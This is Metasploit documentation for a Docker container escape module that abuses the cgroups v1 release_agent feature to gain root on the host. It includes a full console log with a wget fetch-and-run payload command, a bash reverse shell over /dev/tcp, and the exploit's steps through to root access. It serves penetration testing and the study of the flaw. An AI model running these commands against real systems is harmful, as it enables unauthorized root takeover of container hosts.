CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/documentation/modules/exploit/linux/local/docker_cgroup_escape.md
Views: 11789

Vulnerable Application

This exploit module takes advantage of a Docker image which has either the privileged flag, or SYS_ADMIN Linux capability. If the host kernel is vulnerable, its possible to escape the Docker image and achieve root on the host operating system.

A vulnerability was found in the Linux kernel's cgroup_release_agent_write in the kernel/cgroup/cgroup-v1.c function. This flaw, under certain circumstances, allows the use of the cgroups v1 release_agent feature to escalate privileges and bypass the namespace isolation unexpectedly.

More simply put, cgroups v1 has a feature called release_agent that runs a program when a process in the cgroup terminates. If notify_on_release is enabled, the kernel runs the release_agent binary as root. By editing the release_agent file, an attacker can execute their own binary with elevated privileges, taking control of the system. However, the release_agent file is owned by root, so only a user with root access can modify it.

Docker Setup

sudo docker run --rm -it --privileged ubuntu:20.04 bash

or

sudo docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:20.04 bash

You may want to install wget to make initial exploitation easier as well:

apt-get update apt-get install -y wget

Verification Steps

  1. Install Docker and start a docker container

  2. Start msfconsole

  3. Get a shell on the docker image as root.

  4. Do: use exploit/linux/local/docker_cgroup_escape

  5. Do: set lhost [ip]

  6. Do: set session [#]

  7. Do: run

  8. You should get a root shell on the host OS.

Options

Scenarios

Ubuntu 18.04 LTS with 4.15.0-96-generic kernel and Docker Ubuntu 20.04

Initial Access

resource (docker.rb)> use exploit/multi/script/web_delivery [*] Using configured payload python/meterpreter/reverse_tcp resource (docker.rb)> set lhost 1.1.1.1 lhost => 1.1.1.1 resource (docker.rb)> set srvport 8181 srvport => 8181 resource (docker.rb)> set target 7 target => 7 resource (docker.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp resource (docker.rb)> run [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 1.1.1.1:4444 [*] Using URL: http://1.1.1.1:8181/QZWpVr8t [*] Server started. [*] Run the following command on the target machine: wget -qO dLFtachL --no-check-certificate http://1.1.1.1:8181/QZWpVr8t; chmod +x dLFtachL; ./dLFtachL& disown [msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > [*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes) [*] Sending stage (3045380 bytes) to 2.2.2.2 [*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:60288) at 2023-11-28 13:38:39 -0500 [msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1 [*] Starting interaction with 1... (Meterpreter 1)(/) > getuid Server username: root (Meterpreter 1)(/) > sysinfo Computer : 172.17.0.2 OS : Ubuntu 20.04 (Linux 4.15.0-96-generic) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux

Exploit the Docker Escape

[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/local/docker_cgroup_escape [*] Using configured payload cmd/unix/reverse_bash [msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > set lhost 1.1.1.1 lhost => 1.1.1.1 [msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > set lport 9988 lport => 9988 [msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > set verbose true verbose => true [msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > set session 1 session => 1 [msf](Jobs:1 Agents:1) exploit(linux/local/docker_cgroup_escape) > run [+] bash -c '0<&181-;exec 181<>/dev/tcp/1.1.1.1/9988;sh <&181 >&181 2>&181' [*] Started reverse TCP handler on 1.1.1.1:9988 [*] Running automatic check ("set AutoCheck false" to disable) [*] Unable to determine host OS, this check method is unlikely to be accurate if the host isn't Ubuntu [+] The target is vulnerable. IF host OS is Ubuntu, kernel version 4.15.0-96-generic is vulnerable [*] Creating folder for mount: /tmp/eH7EY [*] Creating directory /tmp/eH7EY [*] /tmp/eH7EY created [*] Mounting cgroup [*] Creating folder in cgroup for exploitation: /tmp/eH7EY/qe0oj7G [*] Creating directory /tmp/eH7EY/qe0oj7G [*] /tmp/eH7EY/qe0oj7G created [*] Enabling notify on release for group qe0oj7G [*] Determining the host OS path for image [*] Host OS path for image: /var/lib/docker/overlay2/c8b82079007d1f6dcf042787cd450ffe045595be11c29ca5b119d1802cfaa22f/diff [*] Setting release_agent path to: /var/lib/docker/overlay2/c8b82079007d1f6dcf042787cd450ffe045595be11c29ca5b119d1802cfaa22f/diff/tmp/KksBaCbF [*] Uploading payload to /tmp/KksBaCbF [*] Writing '/tmp/KksBaCbF' (88 bytes) ... [*] Triggering payload with command: sh -c "echo $$ > /tmp/eH7EY/qe0oj7G/cgroup.procs" [*] Command shell session 2 opened (1.1.1.1:9988 -> 2.2.2.2:54990) at 2023-11-28 14:39:10 -0500 [*] Cleanup: Unmounting /tmp/eH7EY FDjfSpoVnqvGmrtBOSRfABBgFMmcSkbT id uid=0(root) gid=0(root) groups=0(root) cat /etc/os-release NAME="Ubuntu" VERSION="18.04 LTS (Bionic Beaver)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 18.04 LTS" VERSION_ID="18.04" HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" VERSION_CODENAME=bionic UBUNTU_CODENAME=bionic